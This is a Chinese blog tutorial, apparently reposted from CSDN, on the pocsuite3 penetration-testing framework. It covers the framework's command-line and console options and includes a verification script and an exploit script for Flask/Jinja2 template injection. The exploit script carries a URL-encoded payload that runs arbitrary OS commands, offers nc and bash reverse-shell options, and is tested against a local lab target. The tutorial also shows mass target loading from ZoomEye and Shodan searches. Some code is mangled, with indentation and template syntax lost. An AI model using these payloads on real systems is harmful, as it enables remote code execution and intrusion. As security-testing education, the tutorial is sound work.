pocsuite3 工具使用

简介: pocsuite3 工具使用

目录

描述

功能介绍

使用

环境

下载

应用

Pocsuite命令行模式

pocsuite3 编写POC脚本

批量验证方式

pocsuite3 编写EXP脚本

pocsuite3 反弹shell 形式

pocsuite3 编写console 形式

PocSuite3从Seebug加载PoC文件

PocSuite3从ZoomEye加载多个测试目标

PocSuite3从Shodan加载多个分析目标

POC注意事项

Windows下Pocsuite写日志url带冒号报错问题

描述
PocSuite3是知道创宇404安全研究团队设计的一款远程漏洞测试以及PoC开发框架,该框架使用了功能极其强大的概念验证引擎,并自带了大量渗透测试以及安全分析功能。

功能介绍
1、PoC脚本能够以attack、verify和shell等多种模式运行;

2、自带插件生态系统;

3、 可从本地文件、Redis和数据库等不同来源动态加载PoC脚本;

4、 可从CIDR、本地文件、Redis、数据库、Zoomeye和Shodan等来源加载多个测试目标;

5、 轻松导出测试结果;

6、 支持命令行工具和Python包导入;

7、 支持IPv6;

8、 支持全局HTTP/HTTPS/SOCKS代理;

9、 提供了强大的爬虫API;

10、整合Seebug;

11、整合ZoomEye;

12、整合Shodan;

13、整合Ceye;

14、等等…

使用
PoC脚本能够以attack、verify和shell等多种模式运行

自带插件生态系统;

可从本地文件、Redis和数据库等不同来源动态加载PoC脚本;

可从CIDR、本地文件、Redis、数据库、Zoomeye和Shodan等来源加载多个测试目标;

环境
1、 Python 3.4+

2、 Linux、Windows、macOS和BSD

下载
1.在有python环境下直接命令行pip安装pip install pocsuite3

2.Linux使用命令

wget https://github.com/knownsec/pocsuite3/archive/master.zip

unzip master.zip

3.或者在github上下载源码包提取源码https://github.com/knownsec/pocsuite3/archive/master.zip

推荐使用源码安装

应用

解压

报错 python cli.py -h

python3 cli.py -h

运行模块

--verity 验证 【POC】

--attack 攻击 【exp】

--shell

--version 版本

Request 统一请求

--cookie
--host
--referer
--user-agent
--random-agent
--proxy
--proxy-cred
--timeout
--retry
--delay
--headers extra headers (e.g."key1:value1\nkey2:value2")
Account Token 接口

Telnet404 account options
--login-user
--login-pass
--shodan-token
--censys-uid
Modules 一些模块接口

--dork (默认为zoomeye搜索搜索引擎)
--dork-zoomeye 搜过关键字
--dork-shodan 搜索关键字
--dork-censys 搜索关键字
--max-page 多少页
--search-type 搜索类型选择API,Web or Host
--vul-keyword seebug关键词搜索
--ssv-id seebug漏洞编号
--lhost shell模式反弹主机
--lport shell模式反弹端口
--comparison 比较两个搜索引擎
optimization 选择项

--plugins 加载插件
--pocs-path poc地址
--threads 开启线程
--batch 自动默认选项
--requires 检测需要安装的模块
--quiet 没有logger
--ppt 隐藏敏感信息
console 模式

python3 console.py进入console模式
Global commands:
help 帮助
use 使用模块
search 搜索模块
list|show all 显示所有模块
exit 退出
Module commands:
run 使用设置的参数运行选中的脚本
back 返回上一步
set 参数名 参数值(当前模块)
setg 参数名 参数值(所有模块)
show info|options|all 打印information,options
check 使用--verify模式
attack 使用--attack模式
exploit 使用--shell模式

比如:

python3 cli.py -r pocs/ecshop_rce.py --dork ecshop --threads 5

将使用ZoomEye搜索ecshop并使用ecshop_rce.py探测,指定线程数量为5

Pocsuite的运行模式默认是verify验证模式,此时对目标影响最小,也有attack和shell模式,对目标进行相关攻击与shell反弹(当然需要PoC的支持,Pocsuite的PoC编写格式预留了这三种模式的接口,并且有很多内置API帮助实现这三种接口)

Pocsuite命令行模式
Pocsuite有两种交互模式,一个是命令行模式类似我们所知的sqlmap的界面,另一个是控制台交互模式类似w3af或者matasploit的界面。

verify和attack两种POC模式

在使用Pocsuite的时候,我们可以用--verify参数来调用_verify方法,用--attack参数来调用_attack方法。

def _attack(self):
result = {}

#Write your code here
return self.parse_output(result)

def _verify(self):
result = {}

#Write your code here
return self.parse_output(result)

verify 模式:验证目标是否存在漏洞
pocsuite3 -r tests/poc_example.py -u http://www.example.com/ --verify
attack 模式:向目标发起有效的攻击
pocsuite3 -r tests/poc_example.py -u http://www.example.com/ --attack
批量验证,将url写到一个txt
pocsuite3 -r test/poc_example.py -f url.txt --verify
加载 tests 目录下的所有 PoC 对目标进行测试(可以充当扫描器角色)
pocsuite3 -r tests/ -u http://www.example.com --verify
使用多线程,默认线程数为1
pocsuite3 -r test/ -f url.txt --verify --threads 10
这里以flask模板注入漏洞为例:

https://blog.csdn.net/weixin_43650289/article/details/110871326

pocsuite3 编写POC脚本
主要编写poc定义的函数部分去做验证;

poc-flask.py 脚本

from collections import OrderedDict
from urllib.parse import urljoin
import re
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY

class DemoPOC(POCBase):
vulID = '1.1'
version = '1.1'
author = ['1.1']
vulDate = '1.1'
createDate = '1.1'
updateDate = '1.1'
references = ['flask']
name = 'flask'
appPowerLink = 'flask'
appName = 'flask'
appVersion = 'flask'
vulType = VUL_TYPE.CODE_EXECUTION
desc = '''
flask
'''
samples = []
category = POC_CATEGORY.EXPLOITS.REMOTE

def _verify(self):
    result = {}
    path = "?name="
    url = self.url + path
    #print(url)
    payload = "{
  {22*22}}"
    #print(payload)
    try:
        resq = requests.get(url + payload)
        if resq and resq.status_code == 200 and "484" in resq.text:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = url
            result['VerifyInfo']['Name'] = payload
    except Exception as e:
        return 
    return self.parse_output(result)

def _attack(self):
    return self._verify()

def parse_output(self, result):
    output = Output(self)
    if result:
        output.success(result)
    else:
        output.fail('target is not vulnerable')
    return output

register_poc(DemoPOC)

  加载目标target, 进行操作执行

-f url_file(多个url) 比如:1.txt 存放多个IP 进行批量验证

-r 加载poc文件

-u 路径地址

--verify poc验证模式

python3 cli.py -r /root/桌面/flask/poc-flask.py -u http://127.0.0.1:5000 --verify

否则不存在

批量验证方式
root@kali:~/桌面/pocsuite3-master/pocsuite3# python3 cli.py -r /root/桌面/flask/poc-flask.py --dork "server:http" --vuln-keyword "flask"

搜索漏洞关键字flask, http协议的网址

失败,没扫出来

pocsuite3 编写EXP脚本
主要编写exp定义的函数部分去做攻击;

exp-flask.py 脚本

from collections import OrderedDict
from urllib.parse import urljoin
import re
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY

class DemoPOC(POCBase):
vulID = '1.1'
version = '1.1'
author = ['1.1']
vulDate = '1.1'
createDate = '1.1'
updateDate = '1.1'
references = ['1.1']
name = 'flack'
appPowerLink = 'flack'
appName = 'flask'
appVersion = 'flask'
vulType = VUL_TYPE.CODE_EXECUTION
desc = '''

'''
samples = []
category = POC_CATEGORY.EXPLOITS.REMOTE

def _options(self):
    o = OrderedDict()
    payload = {
        "nc": REVERSE_PAYLOAD.NC,
        "bash": REVERSE_PAYLOAD.BASH,
    }
    o["command"] = OptDict(selected="bash", default=payload)
    return o

def _verify(self):
    output = Output(self)
    result = {}

def _attack(self):
    result = {}
    path = "?name="
    url = self.url + path
    #print(url)
    cmd = self.get_option("command")
    payload = 'name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__("os").popen("'+cmd+'").read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D'
    #print(payload)
    try:
        resq = requests.get(url + payload)
        t = resq.text
        t = t.replace('\n', '').replace('\r', '')
        print(t)
        t = t.replace(" ","")
        result['VerifyInfo'] = {}
        result['VerifyInfo']['URL'] = url
        result['VerifyInfo']['Name'] = payload
    except Exception as e:
        return
    return self.parse_attack(result)

def parse_attack(self, result):
    output = Output(self)
    if result:
        output.success(result)
    else:
        output.fail('target is not vulnerable')
    return output

register_poc(DemoPOC)

payload如下:

{% for c in [].class.base.subclasses() %}
{% if c.name == 'catch_warnings' %}
{% for b in c.init.globals.values() %}
{% if b.class == {}.class %}
{% if 'eval' in b.keys() %}
{ { b'eval'.popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

root@kali:~/桌面/pocsuite3-master/pocsuite3# python3 cli.py -r /root/桌面/flask/exp-flask.py -u http://127.0.0.1:5000 --attack --command ifconfig

进行command 命令执行,使用exp

pocsuite3 反弹shell 形式
python3 cli.py -r /root/桌面/flask/exp-flask.py -u http://127.0.0.1:5000 --attack --shell

帮助中心

pocsuite3 编写console 形式
root@kali:~/桌面/pocsuite3-master/pocsuite3# python3 console.py

与MSF 命令差不多

PocSuite3从Seebug加载PoC文件

PocSuite3从ZoomEye加载多个测试目标

PocSuite3从Shodan加载多个分析目标

POC注意事项
参照模版来写:模版地址。
引入基础库,尽量避免第三方库。
比较好POC符合:
随机性:检测的数据,发送的数据要随机。
通用性:考虑适应版本,各种不同的情况,操作系统等。
确定性:准确率的问题,这个POC一定能检测出漏洞来吗?
关于CEYE的使用:监视服务以进行安全测试
有时一些漏洞的检测并没有数据回显,如SQL盲注,如命令执行无回显等等。这时可以借助DNS查询nslook或者curl来监控数据。CEYE为我们提供了这样一种服务,地址:http://ceye.io。

Windows下Pocsuite写日志url带冒号报错问题
报错描述

Windows平台使用Pocsuite,当输入的url带有:的时会报错,如下:

[WARNING] unable to create output directory 'C:\Users\Administrator.pocsuite\output\127.0.0.1:8080'
错误分析

原来保存日志记录会选取C:\Users\Administrator.pocsuite\output\拼接上url地址,而windows下文件名不允许含有:,所以才会报错。

所以,不论URL是http://还是带有冒号都会报错,看来pocsuite这边在创建这个文件名的时候名没有检查文件名字是否还有特殊符号呀。

错误解决

手动改代码解决问题:反向追踪哪个文件做了创建文件夹的操作。

经查找,发现该操作代码存在于pocsuite\lib\controller\controller.py文件。

从131行代码开始,定义了一个_setRecordFiles()函数,该函数会创建这么一个文件夹。

def _setRecordFiles():
for (target, pocname, pocid, component, version, status, rtime, result) in kb.results:
if type(status) != str:
status = status[1]
target=target.replace(":","
") #这里添加了一行替换代码
outputPath = os.path.join(getUnicode(paths.POCSUITE_OUTPUT_PATH), normalizeUnicode(getUnicode(target)))
可以发现setRecordFiles()函数从kb.results这个数据实例里面取值。我们用target=target.replace(":","")来将:替换成"_",问题解决。
————————————————

                        版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

原文链接:https://blog.csdn.net/weixin_43650289/article/details/110871097

目录
相关文章
|
3月前
|
安全 NoSQL Shell
pocsuite3 工具使用
pocsuite3 工具使用
82 4
|
6月前
|
JSON 数据格式
介绍几种使用工具
介绍几种使用工具
|
程序员
这些工具也太好用了吧
这些工具也太好用了吧
50 0
|
文字识别
今天聊聊三个工具
今天聊聊三个工具
64 0
|
安全 Java PHP
【工具使用】Pystinger(毒刺)的使用
一款用于Webshell实现内网 socks4 代理、端口映射的工具,可直接用于CobaltStrike / Metasploit上线,该工具使用python语言编写,目前支持的语言有 php, jsp(x) 和 aspx 三种脚本语言。
269 0
|
程序员
FastStone|抓屏工具
FastStone|抓屏工具
359 0
|
移动开发 数据可视化 前端开发
工具使用| 学习笔记
快速学习工具使用。
工具使用| 学习笔记
|
SQL 前端开发 JavaScript
[工具使用]WhatWeb(上)
[工具使用]WhatWeb
552 0
[工具使用]WhatWeb(上)